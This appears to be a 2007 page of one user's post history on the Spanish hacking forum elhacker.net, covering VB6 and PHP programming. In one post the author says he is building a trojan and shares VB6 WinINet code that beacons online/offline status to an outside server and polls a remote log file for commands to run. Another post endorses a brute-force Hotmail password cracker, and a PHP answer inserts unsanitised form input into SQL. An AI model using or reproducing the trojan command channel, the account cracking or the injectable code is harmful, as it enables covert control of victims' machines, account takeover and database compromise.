elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Mensajes
Páginas: 1 ... 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 [105] 106
1041  Programación / PHP / Re: Como enviar los datos a la Base de Datos en: 3 Septiembre 2007, 23:30 pm
Pues eso que quieres hacerno es complicado, a ver si no me equivoco sería algo así:

Suponiendo que tienes una base de datos, con una tabla creada con los campos:
nombre, email, url, asunto, texto.

El archivo engranes.php sería tal que así:

Código
  1. <?php
  2. // 1.- RECOGIDA DE DATOS DEL FORMULARIO
  3. $nombre=$_POST['nombre'];
  4. $email=$_POST['email'];
  5. $url=$_POST['url'];
  6. $asunto=$_POST['asunto'];
  7. $texto=$_POST['texto'];
  8.  
  9. // 2.- IDENTIFICACION nombre de la base, del usuario, clave y servidor
  10. $db="nombredeladb";
  11. $db_login="tunombredeusuario";
  12. $db_pswd="tupass";
  13. $link = mysql_connect("server.delabase.dedatos", $db_login, $db_pswd);
  14.  
  15. // 3.- CONEXION A LA BASE DE DATOS
  16. mysql_select_db($db , $link);
  17.  
  18. // 4.- INSERCION DE DATOS
  19. mysql_query ("INSERT INTO
  20. NOMBREDELATABLA (nombre, email, url, asunto, texto)
  21. VALUES ('$nombre','$email','$url','$asunto','$texto')");
  22.  
  23. print("Datos agregados a la base.");
  24.  
  25. mysql_close($link);
  26.  
  27.  
  28. ?>

Solo tienes que sustituir tu nombre de usuario y pass, el de la base de datos y tu server y por supuesto donde dice NOMBREDELATABLA pon el nombre de la tabla de tu base de datos.
Con eso no deberías de tener más problemas para insertar los datos en la base de datos, espero que te sea de ayuda ;)

Saludos
1042  Programación / Ingeniería Inversa / Re: Programa para saber en q fue programado un archivo. en: 31 Agosto 2007, 19:31 pm
Yo creo que eso no es lo que ha preguntado, quiere un programa con elque saber en que lenguaje ha sido programado cierto archivo si no me equivoco. Eso puedes verlo con PEiD. Es un programa que te dirá el último programa que compiló ese archivo y así sabrás si fue Visual Basic, C, Delphi o lo que sea.

El problema es que si el archivo ha sido cifrado con algún programa o ha sido empaquetado después de compilar con UPX o algún encrypter tendrás que desenpaquetar el upx o revertir el proceso que sea que no suele ser muy difícil. A unas malas podrías hacerlo con OllyDbg si sabes un poquito de ingeniería inversa no es muy complicado.
Por cierto PEiD te indica si el archivo ha sido comprimido y si es así te indica con que programa fue comprimido o cifrado. Osea que es fácil de hacer lo que quieres con este programa ;)

Saludos
1043  Programación / Programación Visual Basic / Re: Problema con apis wininet en: 29 Agosto 2007, 21:07 pm
Jejeje no, no saltan los firewalls porque la llamada es a una web, es igual que visitar una página web cualquiera, como si abres el internet explorer y escribes www.unserver.com/unarchivo.txt. Por eso no salta el firewall y con mi programa tampoco salta, no porque yo lo digo,sino porque está probado, y va bastante bien.

Bueno voy a probar a hacer esas cosas que me dijiste a ver si con esos cambios se ralentiza menos la conexión, gracias y saludos :P
1044  Programación / Programación Visual Basic / Problema con apis wininet en: 29 Agosto 2007, 19:52 pm
Buenas, una vez más estoy aquí con un problemilla, bueno una duda existencial que tengo :O a ver si me la podéis resolver.

Estoy programando una aplicación, se le puede llamar troyano o como sea. La cosa es que por los problemas de conexiones con routers, firewalls y demás, el troyano funciona de la siguiente forma.
Un archivo PHP se aloja en cualquier server junto a un log.txt. El troyano envia los datos por GET osea http://miserver.com/ miarchivo.php?comando=comando a ejecutar
Este archivo.php captura el comando y lo deja en el log.txt

El server va descargando el archivo log.txt y según el comando que tenga, lo ejecuta.
Bien pues lo hago con la api wininet para ahorrar dependencias, ya sé que puedo hacer eso con Winsock y con Inet pero no quiero dependencias para el server de un troyano.
Bueno pues el código en general funciona todo bien, tarda apenas 1 ó 2 segundos en realizarse todo el proceso pero la cosa es que el server para comprobar que comando tiene que ejecutar tiene que descargar el archivo log.txt continuamente, lo hago con un timer, pero esque al tener que conectar tantas veces se ralentiza y no quiero que se consuman tantos recursos...

Me gustaría que conectase y una vez abierta la conexión el resto de veces descargase el archivo puesto que la conexión no la cierro, pero no funciona...alguien podría decirme como arreglarlo?, esque si obligadamente tengo que conectar cada ve que quiero recargar el archivo, osea cada segundo, puff, eso lo va a notar el rendimiento del pc, consume más recursos... se nota considerablemente...

El código es el siguiente, a ver si me podéis ayudar.
Código
  1. ' variables generales
  2. Dim data As String
  3. Dim x As Boolean
  4. ' Constantes para las funciones Api
  5. Const scUserAgent = "API-Guide test program"
  6. Const INTERNET_OPEN_TYPE_DIRECT = 1
  7. Const INTERNET_FLAG_RELOAD = &H80000000
  8. Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000
  9. ' Crea conexión a internet
  10. Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" ( _
  11.    ByVal sAgent As String, _
  12.    ByVal lAccessType As Long, _
  13.    ByVal sProxyName As String, _
  14.    ByVal sProxyBypass As String, _
  15.    ByVal lFlags As Long) As Long
  16. ' Abre URL
  17. Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" ( _
  18.    ByVal hInternetSession As Long, _
  19.    ByVal lpszUrl As String, _
  20.    ByVal lpszHeaders As String, _
  21.    ByVal dwHeadersLength As Long, _
  22.    ByVal dwFlags As Long, _
  23.    ByVal dwContext As Long) As Long
  24. ' Cierra conexión
  25. Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer
  26. 'CONTENIDO DEL FICHERO
  27. Private Declare Function InternetReadFile Lib "wininet" ( _
  28. ByVal hFile As Long, _
  29. ByVal sBuffer As String, _
  30. ByVal lNumBytesToRead As Long, _
  31. lNumberOfBytesRead As Long) As Integer
  32. 'Variables para recargar constantemente
  33. Dim hOpen As Long
  34. Dim hFile As Long
  35.  
  36. '///////// MANDAMOS MENSAJE ONLINE AL EJECUTAR ///////////////
  37. Private Sub Form_Load()
  38. 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
  39. Dim hOpen As Long
  40. Dim hFile As Long
  41. Dim Url As String
  42.  
  43. Url = "http://miserver/log.php?comando=online"
  44.  
  45.        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
  46.        vbNullString, vbNullString, 0)
  47.        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  48.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  49. DoEvents
  50. x = True
  51. Timer1.Enabled = True
  52. End Sub
  53. '///////// MANDAMOS MENSAJE OFFLINE AL CERRAR ///////////////
  54. Private Sub Form_Unload(Cancel As Integer)
  55. 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
  56. Dim hOpen As Long
  57. Dim hFile As Long
  58. Dim Url As String
  59.  
  60. Url = "http://miserver.com/log.php?comando=offline"
  61.  
  62.        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
  63.        vbNullString, vbNullString, 0)
  64.        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  65.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  66. Espera (1)
  67. End Sub
  68. '//////////////////////////////////////////////////////////////
  69. Private Sub Timer1_Timer()
  70. 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
  71. Dim sBuffer As String * 128
  72. Dim Ret As Long
  73. Dim str_Total As String
  74. Dim Url As String
  75. If x = True Then
  76.  
  77. Url = "http://miserver.com/log.txt"
  78.  
  79.        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
  80.        vbNullString, vbNullString, 0)
  81.        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  82.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  83. 'LEEMOS FICHERO
  84.  
  85.        Call InternetReadFile(hFile, sBuffer, 128, Ret)
  86.  
  87.        str_Total = sBuffer
  88.  
  89.        While Ret <> 0
  90.            Call InternetReadFile(hFile, sBuffer, 128, Ret)
  91.            str_Total = str_Total & Mid(sBuffer, 1, Ret)
  92.            DoEvents
  93.        Wend
  94.        x = False
  95.  
  96. Else
  97.    'DESCARGAMOS FICHERO
  98.     hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  99.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  100.        Call InternetReadFile(hFile, sBuffer, 128, Ret)
  101.  
  102.        str_Total = sBuffer
  103.        While Ret <> 0
  104.            Call InternetReadFile(hFile, sBuffer, 128, Ret)
  105.            str_Total = str_Total & Mid(sBuffer, 1, Ret)
  106.            DoEvents
  107.        Wend
  108.  
  109.        Text1.Text = str_Total
  110. End If
  111. End Sub
  112.  
  113. Sub Espera(Segundos As Single)
  114.  Dim ComienzoSeg As Single
  115.  Dim FinSeg As Single
  116.  ComienzoSeg = Timer
  117.  FinSeg = ComienzoSeg + Segundos
  118.  Do While FinSeg > Timer
  119.      DoEvents
  120.      If ComienzoSeg > Timer Then
  121.          FinSeg = FinSeg - 24 * 60 * 60
  122.      End If
  123.  Loop
  124. End Sub
  125.  


Como podéis ver la parte importante es la deltimer que es la que tiene un valor x=true, para que la primera vez haga el proceso completo pero luego la pone en false para que el timer solo descargue el archivo puesto que la conexión supuestamente está abierta porque yo no la cerré. Quizás me estoy equivocando y esto que quiero hacer no es factible, pero si es así aclarádmelo por favor, porque me estoy comiendo el coco demasiado xDD
Saludos,

y gracias de antemano.
1045  Programación / Programación Visual Basic / Re: Duda sobre protocolos MSN en VB6 en: 29 Agosto 2007, 00:29 am
OK ;) Ya lo tengo funcionando, muchísimas gracias por tu post KiZaR

Saludos
1046  Programación / Programación Visual Basic / Re: Duda sobre protocolos MSN en VB6 en: 28 Agosto 2007, 23:57 pm
Muchas gracias, por encima lo he probado y ya no me da ese error, pero no llega a completarse el proceso, lo voy a revisar y si no encuentro solución lo publico a ver si podéis ayudarme, gracias por tu ayuda APOKLIPTICO ;)

Saludos
1047  Programación / Programación Visual Basic / Duda sobre protocolos MSN en VB6 en: 28 Agosto 2007, 22:25 pm
Hola, pues llevo más o menos toda la tarde líado con un intento de cliente de msn. Ya sé que hay muchos códigos por google y eso, pero no me gustan, hay algunos que tienen demasiado código basura que no me sirve de nada, he leído bastante sobre los protocolos de MSN y creo que tengo ya una idea de como funcionan y si no me equivoco esto que hice, está correcto, sé que puede optimizarse, y lo haré pero de momento simplemente quería que conectase, el problema es que no lo hace. En el data_arrival del socket una vez conectado he capturado los datos que recibe y me sale ???????????????

No sé que pasará por eso os pido ayuda a ver si sabéis ayudarme un poco, el código es el siguiente:

Código
  1. Dim data, aux, keys As String
  2. Dim vaux As Variant
  3.  
  4. Private Sub Command1_Click()
  5. Winsock1.Connect "messenger.hotmail.com", 1863
  6. End Sub
  7.  
  8. Private Sub Winsock1_Connect()
  9. Winsock1.SendData "VER 1 MSNP8 CVR0" & vbCrLf
  10. End Sub
  11.  
  12. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  13. Winsock1.GetData data
  14. Winsock1.GetData aux
  15. data = Left(data, 3)
  16.  
  17. Select Case data
  18.  
  19. Case "VER"
  20. Winsock1.SendData "CVR 2 0x0C0A winnt 5.1 i386 MSNMSGR 7.5.0311 MSMSGS " & Text1.Text & vbCrLf
  21.  
  22. Case "CVR"
  23. '//EL TEXT1.TEXT CONTIENE LA CUENTA CON LA QUE QUIERO CONECTAR
  24. Winsock1.SendData "USR 3 TWN I " & Text1.Text & vbCrLf
  25.  
  26.  
  27. Case "XFR"  '//                       AQUÍ LO QUE HAGO ES COGER SOLO
  28. aux = Mid(aux, 9, 18)             'LA PARTE DEL PAQUETE QUE TIENE LOS
  29. vaux = Split(aux, ":")              'DATOS QUE ME INTERESAN
  30. Winsock1.Close
  31. Winsock2.Connect vaux(0), vaux(1)
  32. End Select
  33. End Sub
  34.  
  35.  
  36. Private Sub Winsock2_Connect()
  37. Winsock1.SendData "VER 4 MSNP8 CVR0" & vbCrLf
  38. End Sub
  39.  
  40.  
  41. Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
  42. Winsock2.GetData data
  43. Winsock2.GetData aux
  44.  
  45. Select Case data
  46. data = Left(data, 3)
  47. Case "VER"
  48. Winsock2.SendData "CVR 5 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & vbCrLf
  49.  
  50. Case "CVR"
  51. Winsock2.SendData "USR 6 TWN I " & Text1.Text & vbCrLf
  52.  
  53. Case "USR"
  54. Dim a As Integer
  55. a = Len(aux) - 11
  56. keys = Mid(aux, 11, a)
  57. Winsock3.Connect "login.passport.com", 443
  58. End Select
  59. End Sub
  60.  
  61. Private Sub Winsock3_Connect()
  62. Winsock3.SendData "GET /login2.srf HTTP/1.0" & vbCrLf & _
  63.                  "Accept: */*" & vbCrLf & _
  64.                  "Host: login.passport.com" & vbCrLf & _
  65.                  "Authorization: Passport1 0.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,signin=" & Text1.Text & ",pwd=password," & keys & vbCrLf
  66.  
  67. End Sub
  68.  
  69. Private Sub Winsock3_DataArrival(ByVal bytesTotal As Long)
  70. Winsock3.GetData data
  71. End Sub
  72.  

Y bueno eso es todo el código, ni que decir tiene que no pasa ni de la primera acción, puse un timer que capturase en todo momento el valor "data" y desde que conecta y envía el primer comando ya el data se vuelve "????????" no sé por que, porque si hago los mismos pasos desde telnet o netcat me va devolviendo bien los valores.

Alguna idea para ayudarme por favor??

Gracias
1048  Programación / Programación Visual Basic / Re: Como cRear un Cracker para Hotmail?(mito destruido) en: 28 Agosto 2007, 22:12 pm
Pos si ques verdad, pero bueno, está bien la idea y no está de más probarla :P
1049  Programación / Programación Visual Basic / Re: Como cRear un Cracker para Hotmail?(mito destruido) en: 28 Agosto 2007, 15:49 pm
Pues a mi me parece interesante la idea. Si la cuenta no se bloquea quizás el número de cuentas que comprueba es muy bajo y el generador de claves se podría mejorar o que cada uno ponga el que le parezca más conveniente pero para incrementar el número de passwords que comprueba con multiplicar el número se sockets y hacerlos probar passwords a todos generándolas aleatoriamente, creo que podría estar bien. Es difícil como han comentado sacar passwords, casi imposible como de 14 caracteres, pero esque hay que considerar que hay gente que usa passwords mucho más simples y esas si que podría ser que se crackeasen quizás,nosé la cuestión es planteárselo y probar, yo voy a ojear un poco el código a ver que tal.
1050  Programación / Programación Visual Basic / Re: Sobre archivos de texto ".txt" en: 27 Agosto 2007, 19:42 pm
Para crear un archivo no es más fácil hacer esto??

Código
  1. Sub Crear_Archivo()
  2.  
  3. Open ("C:\Prueba.txt") For Append As #1,
  4.   Print #1, "El texto que quieras"
  5.   Close #1
  6.  
  7. End Sub
  8.  
Se agregará lo que escribas al nuevo archivo, no se sustituirá como dices que te ocurre ahora ;)

Saludos.
Páginas: 1 ... 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 [105] 106
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines